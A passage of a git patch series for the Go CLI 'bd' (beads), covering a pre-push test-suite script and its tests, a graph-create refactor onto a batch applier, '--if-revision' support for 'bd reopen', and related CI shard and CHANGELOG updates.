BD_PREPUSH_SUITE=$mode is not one of auto, rbe, cache, go" >&2 + exit 2 + ;; +esac + +case "$mode" in +go) + announce_go_suite + exec "$make_bin" test-go + ;; +rbe) config=remote-exec ;; +cache) config=fork-cache ;; +esac + +if ! have_bazel; then + echo "pre-push: BD_PREPUSH_SUITE=$mode needs bazel on PATH; install bazelisk or use BD_PREPUSH_SUITE=go" >&2 + exit 2 +fi + +echo "pre-push: bazel test //... --config=ci --config=$config${executor:+ on $executor} (BD_PREPUSH_SUITE=go runs plain go test instead)" >&2 +exec "$bazel_bin" test //... --config=ci "--config=$config" diff --git a/scripts/pre_push_suite_test.go b/scripts/pre_push_suite_test.go new file mode 100644 index 000000000..9e4a96703 --- /dev/null +++ b/scripts/pre_push_suite_test.go @@ -0,0 +1,157 @@ +package scripts_test + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// scripts/pre-push-suite.sh is the push-time suite .githooks/pre-push runs +// when a pushed branch changes Go or Bazel inputs: bazel.yml's test lane +// (`bazel test //... --config=ci`), remotely when some rc names an executor, +// else through the read-only fork cache. Plain go test runs only when bazel +// cannot (or BD_PREPUSH_SUITE=go asks for it), and then under a banner, so +// a green push is never read as CI parity. + +type prePushSuiteRun struct { + out string + bazel string + make string + exitErr error +} + +// runPrePushSuite runs the suite with fake bazel and make that log their +// arguments. announce is what the fake `bazel info --announce_rc` prints to +// stderr; bazel "missing" points BAZEL at a path that does not exist. +func runPrePushSuite(t *testing.T, bazel, announce string, env ...string) prePushSuiteRun { + t.Helper() + bash := requireHostTool(t, "bash") + dir := t.TempDir() + bazelLog := filepath.Join(dir, "bazel.log") + makeLog := filepath.Join(dir, "make.log") + writeExecutable := func(name, body string) string { + path := filepath.Join(dir, name) + if err := os.WriteFile(path, []byte("#!/usr/bin/env bash\n"+body), 0o755); err != nil { + t.Fatal(err) + } + return path + } + fakeBazel := writeExecutable("bazel", `if [ "$1" = info ]; then printf '%s\n' "$FAKE_ANNOUNCE" >&2; echo release 9; exit 0; fi +printf '%s\n' "$*" >>"`+bazelLog+`" +`) + fakeMake := writeExecutable("make", `printf '%s\n' "$*" >>"`+makeLog+`" +`) + if bazel == "missing" { + fakeBazel = filepath.Join(dir, "no-such-bazel") + } + + cmd := exec.Command(bash, filepath.Join(sourceRepoRoot(t), "scripts", "pre-push-suite.sh")) + for _, entry := range os.Environ() { + if name, _, _ := strings.Cut(entry, "="); name == "BD_PREPUSH_SUITE" { + continue + } + cmd.Env = append(cmd.Env, entry) + } + cmd.Env = append(cmd.Env, "BAZEL="+fakeBazel, "MAKE="+fakeMake, "FAKE_ANNOUNCE="+announce) + cmd.Env = append(cmd.Env, env...) + out, err := cmd.CombinedOutput() + read := func(path string) string { + data, _ := os.ReadFile(path) + return strings.TrimSpace(string(data)) + } + return prePushSuiteRun{out: string(out), bazel: read(bazelLog), make: read(makeLog), exitErr: err} +} + +const announceWithExecutor = `INFO: Reading rc options for 'info' from /home/u/.bazelrc: + Inherited 'build' options: --remote_executor=grpcs://rbe.example:443 --jobs=64` + +const announceWithoutExecutor = `INFO: Reading rc options for 'info' from /w/.bazelrc: + Inherited 'common' options: --enable_bzlmod` + +func TestPrePushSuiteRunsBazelTestLane(t *testing.T) { + for _, tc := range []struct { + name, announce string + env []string + want string + }{ + {"auto with an executor", announceWithExecutor, nil, "test //... --config=ci --config=remote-exec"}, + {"auto without an executor", announceWithoutExecutor, nil, "test //... --config=ci --config=fork-cache"}, + {"explicit cache", announceWithExecutor, []string{"BD_PREPUSH_SUITE=cache"}, "test //... --config=ci --config=fork-cache"}, + {"explicit rbe", announceWithExecutor, []string{"BD_PREPUSH_SUITE=rbe"}, "test //... --config=ci --config=remote-exec"}, + } { + t.Run(tc.name, func(t *testing.T) { + run := runPrePushSuite(t, "present", tc.announce, tc.env...) + if run.exitErr != nil { + t.Fatalf("suite failed: %v\n%s", run.exitErr, run.out) + } + if run.bazel != tc.want { + t.Errorf("bazel ran %q, want %q\n%s", run.bazel, tc.want, run.out) + } + if run.make != "" { + t.Errorf("make ran %q; the bazel suite needs no go fallback\n%s", run.make, run.out) + } + }) + } +} + +func TestPrePushSuiteRbeWithoutExecutorFails(t *testing.T) { + run := runPrePushSuite(t, "present", announceWithoutExecutor, "BD_PREPUSH_SUITE=rbe") + if run.exitErr == nil || run.bazel != "" { + t.Fatalf("BD_PREPUSH_SUITE=rbe without an executor: err %v, bazel ran %q\n%s", run.exitErr, run.bazel, run.out) + } +} + +func TestPrePushSuiteGoFallbackIsAnnounced(t *testing.T) { + for _, tc := range []struct { + name, bazel, why string + env []string + }{ + {"bazel missing", "missing", "bazel is not installed", nil}, + {"explicit go", "present", "BD_PREPUSH_SUITE=go", []string{"BD_PREPUSH_SUITE=go"}}, + } { + t.Run(tc.name, func(t *testing.T) { + run := runPrePushSuite(t, tc.bazel, announceWithExecutor, tc.env...) + if run.exitErr != nil { + t.Fatalf("suite failed: %v\n%s", run.exitErr, run.out) + } + if run.make != "test-go" || run.bazel != "" { + t.Errorf("ran make %q, bazel %q; want make test-go only\n%s", run.make, run.bazel, run.out) + } + for _, want := range []string{"NOT the bazel suite CI gates on", "why: " + tc.why, "bazel test //... --config=ci"} { + if !strings.Contains(run.out, want) { + t.Errorf("go fallback banner lacks %q:\n%s", want, run.out) + } + } + }) + } +} + +func TestPrePushSuiteRejectsUnknownMode(t *testing.T) { + run := runPrePushSuite(t, "present", announceWithExecutor, "BD_PREPUSH_SUITE=sometimes") + if run.exitErr == nil || run.bazel != "" || run.make != "" { + t.Fatalf("unknown mode: err %v, bazel %q, make %q\n%s", run.exitErr, run.bazel, run.make, run.out) + } +} + +// The hook runs the suite only for branch pushes whose commits change Go or +// Bazel inputs; a tag push, a deletion, or a docs-only push skips it. +func TestPrePushHookRunsSuiteOnlyForGoChanges(t *testing.T) { + body := readPolicyFile(t, sourceRepoRoot(t), ".githooks/pre-push") + for _, want := range []string{ + `"$repo_root/scripts/pre-push-suite.sh" managed { + t.Errorf(".githooks/pre-push must run the suite before the managed beads section") + } +} From d8d8bf587ba1e2f1dd49dbf2ab736cac3c471fae Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 07:53:35 +0000 Subject: [PATCH 149/325] feat(cli): bd create --graph via one atomic BatchApplier request; --if-revision on bd reopen (#7209) * feat(cli): bd create --graph via BatchApplier (spawner_id, thread_id) Reapplies S11's graph-batch-apply half onto origin/main's post-#7203 state: `bd create --graph` now builds its plan through issueops.BatchApplier instead of the removed buildDomainGraphPlan path (create_proxied_server.go shrinks accordingly), spawner_id is stamped only when a node names a spawner (RunBatchApplyStampsSpawnerIDOnlyWhenNamed conformance case), and thread_id survives translation into issueops.DepAddItem alongside the rest of GraphApplyEdge/GraphApplyNodeDep. Entirely independent of #7203's --if-revision work: no file in this commit overlaps #7203's or #7205's changed files. Co-Authored-By: Claude Sonnet 5 * feat(cli): extend #7203's --if-revision guard to bd reopen #7203 (37acca96d) added --if-revision to update/close/assign/delete but not reopen, even though issueops.ReopenRequest.ExpectedVersion already existed upstream. Wire reopen.go and reopen_proxied_server.go through the same parseIfRevisionFlag / requireSingleIfRevisionID / reportIfRevisionFailure / ifRevisionFlagHelp helpers #7203 introduced, so reopen gets identical one-id-only, exit-13-on-mismatch, gascity- compatible-body behavior as the other four verbs, with no new helper surface of its own. Co-Authored-By: Claude Sonnet 5 * test(cli): gc-matcher decode pin and proxied-server --if-revision coverage #7203 never ran its mismatch body through gc's actual decode logic (only through bd's own JSON assertions), and it only exercises --if-revision through the embedded/direct route -- the proxied-server path (*_proxied_server.go's uow-backed preflight/apply) had no coverage at all on either side. - if_revision_gc_matcher_test.go: a faithful port of gc's bdstore_conditional.go decode logic, run against a real built bd for all five guarded verbs (including reopen). Confirms against #7203's actual numeric-only body that no decimal-string twins are needed: encoding/json decodes a JSON number straight into an int64 struct field with no float64 intermediate, so there is no precision loss for gc's matcher to lose above 2^53 the way there would be decoding into an untyped interface{}. - if_revision_proxied_integration_test.go: proxied-server-leg coverage for all five verbs (update/close/reopen/delete/assign), using a numeric-only proxiedPreconditionBody matching #7203's shape exactly (no _str fields, since the matcher test above shows none are needed). reopen's case is its only --if-revision coverage on the proxied route at all, since #7203 did not add the flag to reopen. Both verified for real: TestGCConditionalMatcherDecode via BEADS_TEST_EMBEDDED_DOLT=1, the five TestIfRevisionGuardProxied* tests via BEADS_TEST_PROXIED_SERVER=1 BEADS_TEST_DOLT_SERVER=local against the pinned dolt 2.2.0 binary (no Docker needed). Co-Authored-By: Claude Sonnet 5 * docs(changelog): document graph-batch-apply and if-revision-reopen deltas Neither #7203 (--if-revision) nor #7205 (batch create/import perf) touched CHANGELOG.md, so document this branch's two deltas on top of them directly: bd create --graph via BatchApplier (spawner_id/thread_id, field-survival test, real-store hierarchy/cycle scenarios), and --if-revision's extension to bd reopen plus its gc-matcher decode pin and new proxied-server coverage. Co-Authored-By: Claude Sonnet 5 * fix(cli): adapt reopen's reportIfRevisionFailure call to #7216's signature #7216 (merged to main, landed in this rebase) added a fourth ifRevision *int64 parameter to reportIfRevisionFailure for reassign-fence disambiguation. Pass bd reopen's own declared --if-revision value at both call sites (direct and proxied-server paths) to match. Co-Authored-By: Claude Sonnet 5 * build(bazel): auto-sync BUILD files Applied from the bazel-sync-patch artifact of https://github.com/gastownhall/beads/actions/runs/37290168028 (`make bazel-sync`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see scripts/bazel-autofix-push.sh. * fix(cli): evaluate reopen's --if-revision guard before the already-open short-circuit bd reopen's direct route checked issue.Status == StatusOpen before ever calling ops.Reopen, so a stale --if-revision guard against an already-open issue silently returned the "already open" no-op (exit 0) instead of the precondition_failed refusal (exit 13) every other guarded verb gives for a stale token. ops.Reopen itself already evaluates ExpectedVersion first (ExecuteReopen -> CheckVersionInTx) on both the dolt and embeddeddolt backends, and the proxied-server route already called through unconditionally -- only the direct route's pre-check bypassed it. Fix: skip the already-open pre-check when --if-revision is set, letting ops.Reopen evaluate the revision guard first. Without --if-revision, today's behavior for already-open issues is unchanged. Tests: - if_revision_reopen_embedded_test.go (new): direct route, all four combinations (already-open/closed x stale/matching revision). Verified live that already_open_mismatch_refuses fails against the pre-fix ordering and passes against the fix. - if_revision_proxied_integration_test.go: added the same already-open coverage to TestIfRevisionGuardProxiedReopen to confirm the proxied-server route already behaved correctly and keeps doing so. Also documents in CHANGELOG.md that a `bd create --graph` plan over issueops.MaxApplyBatchItems (1000) is refused outright with GraphApplyTooLargeError (non-blocking review item). Co-Authored-By: Claude Sonnet 5 * fix(cli): put guard tests in CI lanes; fence unguarded reopen errors Maintainer fixup for #7209, review loop iteration 1. It replays the prior adoption's stranded fixup (f71ac4f66) on top of the contributor's own fix for the direct-route reopen guard (266cacfca1). The contributor's fence and tests are kept, and the fixup's overlapping reopen fence and open-issue pins are dropped. CI lanes: seven env-gated tests matched no lane's discovery pattern, so no CI job ran them, including the reopen fix's own pin. The proxied tests are now TestProxiedServerIfRevisionGuard{Update,Close,Reopen,Delete, Assign}. The gc matcher test moves to if_revision_gc_matcher_embedded_test.go as TestEmbeddedGCConditionalMatcherDecode, and the direct reopen test is TestEmbeddedIfRevisionReopenGuardDirect. BUILD.bazel and both shard manifests are regenerated, and each renamed test is selected by exactly one shard of every lane. bd reopen: - reportIfRevisionFailure now runs only when --if-revision is set, on both routes, as update, assign and delete already do. Since #7256 the classifier maps storage.ErrNotFound to precondition_failed, so an unguarded reopen that lost a race with a delete reported a guard refusal (exit 13) for a command that carried no guard. - The gc matcher test gains a reopen_open row: a stale guard on an open issue gets the same refusal body. The matching-guard no-op subtest now also checks the "already open" line and that the revision did not move. bd create --graph: - A node naming both a plan-local parent and a parent_id is parented under the plan key again, as both legs did before the BatchApplier translation and as the dry-run preview and the local cycle check assume (TestBuildGraphApplyBatchRequestParentKeyWinsOverParentID). - Removed dead code: graphApplyParentDepPairs, graphApplyDepPairKey and GraphApplyUnsupportedFieldError, with the helper-only test. - A path from a node's parent to the node through a waits-for hop is now stored, as bd dep add and bd batch apply already store it, because the shared end gate walks the scheduling edges only. That shape can stall ready work once the spawner has an open child. The acceptance is documented in the CHANGELOG and the buildGraphApplyBatchRequest comment and pinned by TestExecuteGraphApplyAcceptsParentToChildPathThroughWaitsFor. Refusing the shape belongs in the shared role (types.IsSchedulingEdge), for every front door at once; that is a follow-up. - The deleted fake-store rejection scenarios are ported to real-store tests: reverse parent-to-child blocking edges, a reverse parent-child edge cycle, and the end gate alone with SkipPerEdgeCycleCheck set. - The graphApplyEdgeBatchMetadata comment names the real issueops.StampWaitsForSpawnerID. CHANGELOG: the spawner stamp is described as a waits-for edge's metadata.spawner_id, and the reopen entry says a guarded reopen of an open issue is judged against the guard on both routes. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * test(cli): name #7292 in the waits-for acceptance marker Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: Eddie the Engineer --- .github/scripts/embedded-cmd-test-shards.txt | 2 + .github/scripts/proxied-cmd-test-shards.txt | 5 + CHANGELOG.md | 48 + backend/conformance/batch_apply_contract.go | 57 ++ backend/conformance/role_bundle_cases.go | 1 + cmd/bd/BUILD.bazel | 5 +- cmd/bd/create_proxied_server.go | 113 +-- cmd/bd/create_proxied_server_test.go | 145 --- cmd/bd/graph_apply.go | 592 +++++------ cmd/bd/graph_apply_execution_test.go | 636 +++++++++++- cmd/bd/graph_apply_execution_unit_test.go | 956 ------------------ cmd/bd/graph_apply_test.go | 667 +++++++++++- ...raph_apply_thread_spawner_embedded_test.go | 115 +++ .../if_revision_gc_matcher_embedded_test.go | 194 ++++ .../if_revision_proxied_integration_test.go | 290 ++++++ cmd/bd/if_revision_reopen_embedded_test.go | 99 ++ cmd/bd/proxied_lookup_failure_test.go | 2 +- cmd/bd/reopen.go | 49 +- cmd/bd/reopen_proxied_server.go | 16 +- .../storage/dolt/batch_apply_contract_test.go | 5 + .../embeddeddolt/batch_apply_contract_test.go | 3 + internal/storage/issueops/batch_apply.go | 48 +- internal/storage/uow/batch_applier.go | 10 +- .../storage/uow/batch_apply_contract_test.go | 3 + issueops/batchapplier.go | 21 + 25 files changed, 2506 insertions(+), 1576 deletions(-) delete mode 100644 cmd/bd/graph_apply_execution_unit_test.go create mode 100644 cmd/bd/graph_apply_thread_spawner_embedded_test.go create mode 100644 cmd/bd/if_revision_gc_matcher_embedded_test.go create mode 100644 cmd/bd/if_revision_proxied_integration_test.go create mode 100644 cmd/bd/if_revision_reopen_embedded_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 11dc95811..6b4d1dfd0 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -287,9 +287,11 @@ 50 15 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget 50 15 TestEmbeddedEpicCloseEligibleReasonFlag 50 15 TestEmbeddedExplicitHierarchicalParentEdges +50 15 TestEmbeddedIfRevisionReopenGuardDirect 50 15 TestEmbeddedVersionConcurrent 50 16 TestEmbeddedBlockedLabelFilters +50 16 TestEmbeddedGCConditionalMatcherDecode 50 16 TestEmbeddedGateInheritsDownParentChain 50 16 TestEmbeddedKV 50 16 TestEmbeddedMaxRowsReady diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 59ca95906..92b21b1d4 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -258,6 +258,7 @@ 30 2 TestProxiedServerDelete 30 2 TestProxiedServerDeleteForceOrphans +30 2 TestProxiedServerIfRevisionGuardAssign 30 2 TestProxiedServerListComments 30 2 TestProxiedServerPromote 30 2 TestProxiedServerTypesAgreeWithCreate @@ -361,6 +362,7 @@ 30 17 TestProxiedServerClose 30 17 TestProxiedServerConfigConcurrent 30 17 TestProxiedServerDeleteConcurrent +30 17 TestProxiedServerIfRevisionGuardUpdate 30 17 TestProxiedServerSearch 30 17 TestProxiedServerServeReadParity 30 17 TestProxiedServerStatus @@ -374,6 +376,7 @@ 30 19 TestProxiedServerCreate2 30 19 TestProxiedServerEdit +30 19 TestProxiedServerIfRevisionGuardReopen 30 19 TestProxiedServerPourRejectsEnumViolatingVar 30 19 TestProxiedServerReassignFence 30 19 TestProxiedServerUpdateWisp @@ -431,6 +434,7 @@ 30 26 TestProxiedServerState 30 27 TestProxiedServerBlocked +30 27 TestProxiedServerIfRevisionGuardClose 30 27 TestProxiedServerMolLastActivity 30 27 TestProxiedServerMolStale 30 27 TestProxiedServerMoleculeFrontDoorWriteParity @@ -448,6 +452,7 @@ 30 29 TestProxiedServerDep 30 29 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge 30 29 TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix +30 29 TestProxiedServerIfRevisionGuardDelete 30 29 TestProxiedServerTag 30 29 TestProxiedServerWispList diff --git a/CHANGELOG.md b/CHANGELOG.md index 4aad8bdc1..51577f7ec 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,45 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- `bd create --graph` now plans its batch through `issueops.BatchApplier` + instead of the old `buildDomainGraphPlan` path, so a graph create gets the + same atomic multi-row semantics as `bd batch apply`. A `waits-for` edge's + `metadata.spawner_id` is stamped only when that edge names a spawner + (never defaulted onto an edge that names none), and `thread_id` now survives + translation into the batch request alongside every other + `GraphApplyEdge`/`GraphApplyNodeDep` field — pinned by a reflection-based + field-coverage test (`TestBuildGraphApplyBatchRequestFieldsSurvive`) that + fails closed if a future field is added to either struct without an + explicit decision about where it goes. The hierarchy/cycle rejection + scenarios this path's local gates cover (blocking through existing or + planned hierarchy, transitive external-parent paths, reverse parent-to-child + edges, cycles hidden in an inline dep, combined scheduling cycles, the end + gate alone with the per-edge cycle probe skipped) are exercised against a + real Dolt store, not just skipped placeholders. A graph plan whose translated + BatchApplier items (nodes, edges and deferred assignments combined) exceed + `issueops.MaxApplyBatchItems` (1000) is now refused outright with + `GraphApplyTooLargeError` rather than silently chunked across several + transactions — `bd create --graph` promises one atomic request, so a plan + over the cap must be split by the caller into multiple `bd create --graph` + calls instead. +- `--if-revision` (gastownhall/beads#4682) is extended to `bd reopen`, the + one lifecycle verb #7203 did not add it to, reusing the same + `issueops.ReopenRequest.ExpectedVersion` field the library already + exposed and the same `parseIfRevisionFlag` / `requireSingleIfRevisionID` + / `reportIfRevisionFailure` helpers #7203 introduced for the other four + verbs — no new CLI surface, no new JSON body shape. A guarded reopen of an + issue that is already open is still judged against the guard on both + routes: a stale revision exits 13, and a matching one is the usual + "already open" no-op. A faithful port of + gc's (gascity) `bdstore_conditional.go` decode logic is now run against a + real built `bd` for all five guarded verbs + (`TestEmbeddedGCConditionalMatcherDecode`), confirming gc's matcher decodes + #7203's numeric-only `expected_revision`/`current_revision` body exactly + — no decimal-string twin fields are needed, since `encoding/json` decodes + a JSON number straight into an `int64` struct field with no lossy + `float64` intermediate. The proxied-server route (`*_proxied_server.go`'s + uow-backed preflight/apply path), previously untested for `--if-revision` + on any verb, now has coverage for all five. - `backends.Backend` gains an optional `OpenWith(ctx, beadsDir, OpenOptions)` and a `Remote bool` field for a registered extension backend (for example an HTTP client registrant). `OpenOptions{Credential, HTTPClient, @@ -75,6 +114,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- `bd create --graph` now stores a plan whose path from a node's parent to + the node runs through a `waits-for` edge; the graph-only preflight that + walked every ready-work edge used to refuse it. The plan now goes through + the same end gate as `bd dep add` and `bd batch apply`, which walks only + the scheduling edges (`blocks`, `conditional-blocks`, `parent-child`) and + stores this shape too. Avoid it in plans: once the `waits-for` spawner has + an open child, every issue in the shape, that child included, stays + blocked and none is ever ready. The same path through scheduling edges + alone is still refused. - `bd preflight --fix --json` no longer returns a `Version sync` fix result: version updates must keep all release surfaces aligned via `scripts/update-versions.sh`. - Release-tag pushes require Go and reject batches containing different release versions. diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index 354f0cde3..5bb9e7056 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -1521,6 +1521,63 @@ func RunBatchApplyNormalizesTheWaitsForGate(t *testing.T, ctx context.Context, f }) } +// RunBatchApplyStampsSpawnerIDOnlyWhenNamed is the S11 review fix-up +// regression for HIGH-2: a waits-for DepAddItem must only acquire +// metadata.spawner_id when the caller explicitly named a spawner +// (HasSpawner=true, which bd create --graph sets when the plan declares +// edges[].spawner_key/spawner_id). An edge with no named spawner must keep +// its gate-only metadata untouched — stamping it unconditionally from the +// resolved target caused unnecessary rewrite/version churn when gc +// re-applies the same edge (see CHANGELOG.md). +func RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + spawner := fixture.IssuePrefix + "-spawner-named" + waiter := fixture.IssuePrefix + "-waiter-named" + batchApplySeedIssue(t, ctx, fixture, spawner, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, waiter, types.StatusOpen) + + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemDepAdd, DepAdd: &publicops.DepAddItem{ + Source: publicops.Ref{ID: waiter}, + Target: publicops.Ref{ID: spawner}, + Type: publicops.DepWaitsFor, + Metadata: `{"gate":"any-children"}`, + HasSpawner: true, + }}, + }, + }) + stored := batchApplyEdgeMetadata(t, ctx, fixture, waiter, spawner) + var meta types.WaitsForMeta + if err := json.Unmarshal([]byte(stored), &meta); err != nil { + t.Fatalf("stored named-spawner metadata %q: %v", stored, err) + } + if meta.SpawnerID != spawner { + t.Errorf("named-spawner edge spawner_id = %q, want %q (metadata %q)", meta.SpawnerID, spawner, stored) + } + + spawner2 := fixture.IssuePrefix + "-spawner-unnamed" + waiter2 := fixture.IssuePrefix + "-waiter-unnamed" + batchApplySeedIssue(t, ctx, fixture, spawner2, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, waiter2, types.StatusOpen) + + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + batchApplyDepAdd(publicops.Ref{ID: waiter2}, publicops.Ref{ID: spawner2}, publicops.DepWaitsFor, `{"gate":"any-children"}`), + }, + }) + stored2 := batchApplyEdgeMetadata(t, ctx, fixture, waiter2, spawner2) + var meta2 types.WaitsForMeta + if err := json.Unmarshal([]byte(stored2), &meta2); err != nil { + t.Fatalf("stored unnamed-spawner metadata %q: %v", stored2, err) + } + if meta2.SpawnerID != "" { + t.Errorf("unnamed-spawner edge must not stamp spawner_id, got %q (metadata %q)", meta2.SpawnerID, stored2) + } +} + // RunBatchApplySplicesAForwardMetadataRef pins the one exception to the // backward-only rule (CreateItem.MetadataRefs): "IT IS THE ONE PLACE A KEY MAY // REACH FORWARD … Every id is minted before any splice is applied, so the diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 22bf1173a..bf65f8e7b 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -44,6 +44,7 @@ var roleContractCases = []roleContract{ RunBatchApplyRefusesACrossPlaneEdgeBetweenRowsItCreated, RunBatchApplyAcceptsAnExternalEdgeTarget, RunBatchApplyNormalizesTheWaitsForGate, + RunBatchApplyStampsSpawnerIDOnlyWhenNamed, RunBatchApplySplicesAForwardMetadataRef, RunBatchApplySplicesASelfMetadataRef, RunBatchApplyRefusesAMetadataRefNoItemDeclares, diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 259324933..e0d894eb3 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -787,8 +787,8 @@ go_test( "global_identity_integration_test.go", "gomodcache_rehome_test.go", "graph_apply_execution_test.go", - "graph_apply_execution_unit_test.go", "graph_apply_test.go", + "graph_apply_thread_spawner_embedded_test.go", "graph_embedded_test.go", "graph_export_test.go", "graph_proxied_integration_test.go", @@ -819,9 +819,12 @@ go_test( "identity_preview_gate_test.go", "identity_preview_refusal_test.go", "if_revision_embedded_test.go", + "if_revision_gc_matcher_embedded_test.go", "if_revision_proxied_close_delete_test.go", + "if_revision_proxied_integration_test.go", "if_revision_reassign_fence_embedded_test.go", "if_revision_reassign_fence_proxied_test.go", + "if_revision_reopen_embedded_test.go", "if_revision_test.go", "import_chunking_embedded_test.go", "import_chunking_test.go", diff --git a/cmd/bd/create_proxied_server.go b/cmd/bd/create_proxied_server.go index dcc409dd6..4e29fcca6 100644 --- a/cmd/bd/create_proxied_server.go +++ b/cmd/bd/create_proxied_server.go @@ -317,47 +317,47 @@ func runCreateProxiedGraph(_ *cobra.Command, ctx context.Context, in createInput return nil } - domainPlan, err := buildDomainGraphPlan(plan, in) + // Live apply runs the same shared validation the dry-run branch above just + // ran, through its own short-lived unit of work (the collision preflight + // in this pass is therefore NOT atomic with the apply below — a real + // explicit-ID collision is still caught, because BatchApplier's own + // create item independently raises storage.ErrAlreadyExists; this preflight + // just gives that case a clearer "invalid graph plan" message up front). + // BatchApplier manages its own transaction and commit-retry budget (see + // internal/storage/uow/batch_applier.go), so the apply itself is NOT + // wrapped in uow.RunTxResult the way the old domain.GraphPlan path was. + validateUW, err := uowProvider.NewUOW(ctx) if err != nil { - return err + return HandleError("open unit of work: %v", err) + } + cctx, err := validateUW.ConfigUseCase().LoadCreateContext(ctx) + if err != nil { + validateUW.Close(ctx) + return HandleError("load create context: %v", err) + } + _, err = validateProxiedGraphPlan(&plan, in, cctx, uowIssueExists(ctx, validateUW)) + validateUW.Close(ctx) + if err != nil { + return HandleError("invalid graph plan: %v", err) } - commitMsg := plan.CommitMessage - if commitMsg == "" { - commitMsg = fmt.Sprintf("bd: graph-apply %d nodes", len(plan.Nodes)) + src, ok := uowProvider.(uow.BatchApplierSource) + if !ok { + return HandleError("proxied-server provider %T does not offer the batch-apply surface", uowProvider) } - - res, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (map[string]string, string, error) { - cctx, err := uw.ConfigUseCase().LoadCreateContext(ctx) - if err != nil { - return nil, "", fmt.Errorf("load create context: %w", err) - } - - // validateProxiedGraphPlan enforces a uniform storage class, so its - // resolved useWisp decides which table the whole plan routes to. The - // collision preflight runs inside this transaction, so it cannot race - // a concurrent create of the same explicit ID. - useWisp, err := validateProxiedGraphPlan(&plan, in, cctx, uowIssueExists(ctx, uw)) - if err != nil { - return nil, "", fmt.Errorf("invalid graph plan: %w", err) - } - - var result domain.GraphApplyResult - var applyErr error - if useWisp { - result, applyErr = uw.IssueUseCase().ApplyWispGraph(ctx, domainPlan, in.createdBy) - } else { - result, applyErr = uw.IssueUseCase().ApplyIssueGraph(ctx, domainPlan, in.createdBy) - } - if applyErr != nil { - return nil, "", fmt.Errorf("graph create: %w", applyErr) - } - - return result.IDs, commitMsg, nil - }) + applier, err := src.BatchApplier() if err != nil { return HandleError("%v", err) } + req, err := buildGraphApplyBatchRequest(&plan, in.graphApplyOptions(), in.createdBy, in.owner) + if err != nil { + return HandleError("%v", err) + } + result, err := applier.ApplyBatch(ctx, req) + if err != nil { + return HandleError("graph create: %v", err) + } + res := result.Keys if in.jsonOutput { if err := outputJSON(GraphApplyResult{IDs: res}); err != nil { @@ -421,48 +421,3 @@ func uowIssueExists(ctx context.Context, uw uow.UnitOfWork) func(id string) (boo return false, nil } } - -// graphApplyNodeIssue path (full issue-model parity with `bd create`). -func buildDomainGraphPlan(plan GraphApplyPlan, in createInput) (domain.GraphPlan, error) { - opts := in.graphApplyOptions() - nodes := make([]domain.GraphNode, 0, len(plan.Nodes)) - for _, n := range plan.Nodes { - issue, err := graphApplyNodeIssue(n, opts, in.createdBy, in.owner) - if err != nil { - return domain.GraphPlan{}, fmt.Errorf("invalid graph plan: %w", err) - } - deps := make([]domain.GraphNodeDep, 0, len(n.Deps)) - for _, d := range n.Deps { - deps = append(deps, domain.GraphNodeDep{ - Type: graphApplyDependencyType(d.Type), - Target: d.Target, - }) - } - nodes = append(nodes, domain.GraphNode{ - Key: n.Key, - Issue: issue, - ParentKey: n.effectiveParentKey(), - ParentID: n.ParentID, - Assignee: n.Assignee, - AssignAfterCreate: n.AssignAfterCreate, - MetadataRefs: n.MetadataRefs, - Labels: n.Labels, - Deps: deps, - }) - } - edges := make([]domain.GraphEdge, 0, len(plan.Edges)) - for _, e := range plan.Edges { - edges = append(edges, domain.GraphEdge{ - FromKey: e.FromKey, - FromID: e.FromID, - ToKey: e.ToKey, - ToID: e.ToID, - Type: graphApplyDependencyType(e.Type), - Gate: e.Gate, - SpawnerKey: e.SpawnerKey, - SpawnerID: e.SpawnerID, - ThreadID: e.ThreadID, - }) - } - return domain.GraphPlan{Nodes: nodes, Edges: edges}, nil -} diff --git a/cmd/bd/create_proxied_server_test.go b/cmd/bd/create_proxied_server_test.go index a1a327920..ed8e1a80f 100644 --- a/cmd/bd/create_proxied_server_test.go +++ b/cmd/bd/create_proxied_server_test.go @@ -2,7 +2,6 @@ package main import ( "encoding/json" - "fmt" "reflect" "testing" "time" @@ -278,150 +277,6 @@ func 